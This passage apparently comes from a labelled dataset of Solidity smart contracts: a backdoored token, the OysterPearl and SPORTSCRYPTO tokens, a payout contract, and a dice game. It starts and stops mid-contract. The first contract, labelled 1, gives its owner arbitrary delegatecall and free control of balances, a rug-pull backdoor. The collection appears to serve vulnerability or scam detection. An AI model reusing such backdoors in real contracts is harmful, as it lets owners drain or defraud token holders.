address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 3,601 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterPearl {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 public funds;
address public director;
bool public saleClosed;
bool public directorLock;
uint256 public claimAmount;
uint256 public payAmount;
uint256 public feeAmount;
uint256 public epoch;
uint256 public retentionMax;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public buried;
mapping (address => uint256) public claimed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event Bury(address indexed target, uint256 value);
event Claim(address indexed target, address indexed payout, address indexed fee);
function OysterPearl() public {
director = msg.sender;
name = "Oyster Pearl";
symbol = "TSPRL";
decimals = 18;
funds = 0;
totalSupply = 0;
saleClosed = true;
directorLock = false;
totalSupply += 25000000 * 10 ** uint256(decimals);
totalSupply += 75000000 * 10 ** uint256(decimals);
totalSupply += 1000000 * 10 ** uint256(decimals);
balances[director] = totalSupply;
claimAmount = 5 * 10 ** (uint256(decimals) - 1);
payAmount = 4 * 10 ** (uint256(decimals) - 1);
feeAmount = 1 * 10 ** (uint256(decimals) - 1);
epoch = 31536001;
retentionMax = 40 * 10 ** uint256(decimals);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
require(!directorLock);
require(block.number < 8000000);
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
require(msg.sender == director);
_;
}
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
function selfLock() public onlyDirector {
require(saleClosed);
directorLock = true;
}
function amendClaim(uint8 claimAmountSet, uint8 payAmountSet, uint8 feeAmountSet) public onlyDirector {
require(claimAmountSet == (payAmountSet + feeAmountSet));
claimAmount = claimAmountSet * 10 ** (uint256(decimals) - 1);
payAmount = payAmountSet * 10 ** (uint256(decimals) - 1);
feeAmount = feeAmountSet * 10 ** (uint256(decimals) - 1);
}
function amendEpoch(uint256 epochSet) public onlyDirector {
epoch = epochSet;
}
function amendRetention(uint8 retentionSet) public onlyDirector {
retentionMax = retentionSet * 10 ** uint256(decimals);
}
function closeSale() public onlyDirector {
require(!saleClosed);
saleClosed = true;
}
function openSale() public onlyDirector {
require(saleClosed);
saleClosed = false;
}
function bury() public {
require(!buried[msg.sender]);
require(balances[msg.sender] > claimAmount);
require(balances[msg.sender] <= retentionMax);
buried[msg.sender] = true;
claimed[msg.sender] = 1;
Bury(msg.sender, balances[msg.sender]);
}
function claim(address _payout, address _fee) public {
require(buried[msg.sender]);
require(_payout != _fee);
require(msg.sender != _payout);
require(msg.sender != _fee);
require(claimed[msg.sender] == 1 || (block.timestamp - claimed[msg.sender]) >= epoch);
require(balances[msg.sender] >= claimAmount);
claimed[msg.sender] = block.timestamp;
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
balances[msg.sender] -= claimAmount;
balances[_payout] += payAmount;
balances[_fee] += feeAmount;
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
Claim(msg.sender, _payout, _fee);
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
}
function () payable public {
require(!saleClosed);
require(msg.value >= 1 finney);
uint256 amount = msg.value * 5000;
require(totalSupply + amount <= (500000000 * 10 ** uint256(decimals)));
totalSupply += amount;
balances[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!buried[_from]);
if (buried[_to]) {
require(balances[_to] + _value <= retentionMax);
}
require(_to != 0x0);
require(balances[_from] >= _value);
require(balances[_to] + _value > balances[_to]);
uint256 previousBalances = balances[_from] + balances[_to];
balances[_from] -= _value;
balances[_to] += _value;
Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
require(!buried[_spender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(!buried[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(!buried[_from]);
require(balances[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balances[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 0 | 256 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SPORTSCRYPTO is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function SPORTSCRYPTO() public {
symbol = "SPCR";
name = "SPORTSCRYPTO";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x6CbD025365817a60a4921AB8E4cC7F8aCad2a296] = _totalSupply;
Transfer(address(0), 0x6CbD025365817a60a4921AB8E4cC7F8aCad2a296, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,877 |
pragma solidity ^0.4.24;
contract ethernity {
address pr = 0xB85B67e48cD9edF95A6e95134Ee461e89E7B0928;
address ths = this;
mapping (address => uint) balance;
mapping (address => uint) paytime;
mapping (address => uint) prtime;
function() external payable {
if((block.number-prtime[pr]) >= 5900){
pr.transfer(ths.balance/100);
prtime[pr] = block.number;
}
if (balance[msg.sender] != 0){
msg.sender.transfer(balance[msg.sender]/100*5*(block.number-paytime[msg.sender])/5900);
}
paytime[msg.sender] = block.number;
balance[msg.sender] += msg.value;
}
} | 0 | 1,073 |
pragma solidity ^0.4.24;
contract AceDice {
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint public todaysRewardSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
address inviter;
}
struct Profile{
uint avatarIndex;
string nickName;
}
mapping (uint => Bet) bets;
mapping (address => uint) accuBetAmount;
mapping (address => Profile) profiles;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event VIPPayback(address indexed beneficiary, uint amount);
event Commit(uint commit);
event TodaysRankingPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function getSecretSigner() external onlyOwner view returns(address){
return secretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount, 0, 0, 0);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function encodePacketCommit(uint commitLastBlock, uint commit) private pure returns(bytes memory){
return abi.encodePacked(uint40(commitLastBlock), commit);
}
function verifyCommit(uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) private view {
require (block.number <= commitLastBlock, "Commit has expired.");
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = encodePacketCommit(commitLastBlock, commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
require (secretSigner == ecrecover(messageHash, v, r, s), "ECDSA signature is not valid.");
}
function placeBet(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function applyVIPLevel(address gambler, uint amount) private {
uint accuAmount = accuBetAmount[gambler];
uint rate;
if(accuAmount >= 30 ether && accuAmount < 150 ether){
rate = 1;
} else if(accuAmount >= 150 ether && accuAmount < 300 ether){
rate = 2;
} else if(accuAmount >= 300 ether && accuAmount < 1500 ether){
rate = 4;
} else if(accuAmount >= 1500 ether && accuAmount < 3000 ether){
rate = 6;
} else if(accuAmount >= 3000 ether && accuAmount < 15000 ether){
rate = 8;
} else if(accuAmount >= 15000 ether && accuAmount < 30000 ether){
rate = 10;
} else if(accuAmount >= 30000 ether && accuAmount < 150000 ether){
rate = 12;
} else if(accuAmount >= 150000 ether){
rate = 15;
} else{
return;
}
uint vipPayback = amount * rate / 10000;
if(gambler.send(vipPayback)){
emit VIPPayback(gambler, vipPayback);
}
}
function placeBetWithInviter(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s, address inviter) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (address(this) != inviter && inviter != address(0), "cannot invite mysql");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
bet.inviter = inviter;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function getMyAccuAmount() external view returns (uint){
return accuBetAmount[msg.sender];
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
applyVIPLevel(gambler, amount);
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint modulo = 100;
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
if ((uint(entropy) / modulo) % JACKPOT_MODULO == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin, dice, rollUnder, amount);
}
if(bet.inviter != address(0)){
bet.inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * 10 /100);
}
todaysRewardSize += amount * HOUSE_EDGE_PERCENT / 100 * 9 /100;
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin, dice, rollUnder, amount);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount, 0, 0, 0);
}
function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= 100, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount, uint dice, uint rollUnder, uint betAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount, dice, rollUnder, betAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function thisBalance() public view returns(uint) {
return address(this).balance;
}
function setAvatarIndex(uint index) external{
require (index >=0 && index <= 100, "avatar index should be in range");
Profile storage profile = profiles[msg.sender];
profile.avatarIndex = index;
}
function setNickName(string nickName) external{
Profile storage profile = profiles[msg.sender];
profile.nickName = nickName;
}
function getProfile() external view returns(uint, string){
Profile storage profile = profiles[msg.sender];
return (profile.avatarIndex, profile.nickName);
}
function payTodayReward(address to) external onlyOwner {
uint prize = todaysRewardSize / 2;
todaysRewardSize = todaysRewardSize - prize;
if(to.send(prize)){
emit TodaysRankingPayment(to, prize);
}
}
} | 1 | 2,085 |
pragma solidity 0.4.20;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
